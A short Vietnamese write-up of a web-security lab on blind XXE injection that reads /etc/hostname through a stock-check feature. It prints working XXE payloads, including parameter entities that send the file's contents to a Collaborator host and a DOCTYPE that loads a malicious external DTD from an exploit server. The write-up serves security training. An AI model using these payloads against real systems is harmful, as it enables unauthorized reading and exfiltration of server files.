---
# System prepended metadata

title: Exploiting blind XXE to exfiltrate data using a malicious external DTD
tags: [XXE Injection]

---

# Exploiting blind XXE to exfiltrate data using a malicious external DTD

* Ở bài này chúng ta sẽ khai thác lỗ hổng blind XXE Injection để đọc file `/etc/hostname`. Lỗ hổng vẫn nằm ở tính năng **Check stock**, chúng ta sẽ kiểm tra và tìm vị trí tiêm payload.
![Capture01](https://hackmd.io/_uploads/SyvytaPvp.png)
![Capture02](https://hackmd.io/_uploads/rkP1Y6PDT.png)

* Payload mà chúng ta sử dụng sẽ là:
`<!ENTITY % file SYSTEM "file:///etc/hostname">`
`<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://burp-collaborator-server.com/?x=%file;'>">`
`%eval;`
`%exfiltrate;`
Tuy nhiên sau khi gửi thì chúng ta nhận được response là entity đã bị block.
![Capture03](https://hackmd.io/_uploads/H1vJF6vDa.png)

* Chúng ta sẽ chuyển qua dùng exploit server, tạo một file tên `malicious.dtd` chứa đoạn payload trên.
![Capture04](https://hackmd.io/_uploads/rywyt6vD6.png)

* Sau đó chúng ta tiêm payload để chuyển hướng đến URL chứa file `malicious.dtd`:
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://....exploit-server.net/malicious.dtd"> %xxe; ]>`
![Capture05](https://hackmd.io/_uploads/SJPJKpDwT.png)

* Sau đó chúng ta qua Collaborator để kiểm tra thì chúng ta nhận được 1 request HTTP có chứa chuỗi kí tự ở biến `x`. Đây chính là nội dung trong file `/etc/hostname`.
![Capture06](https://hackmd.io/_uploads/B1P1t6vva.png)

* Lấy chuỗi trên để submit. Hoàn thành bài lab.
![Capture07](https://hackmd.io/_uploads/BJvyYTPwa.png)
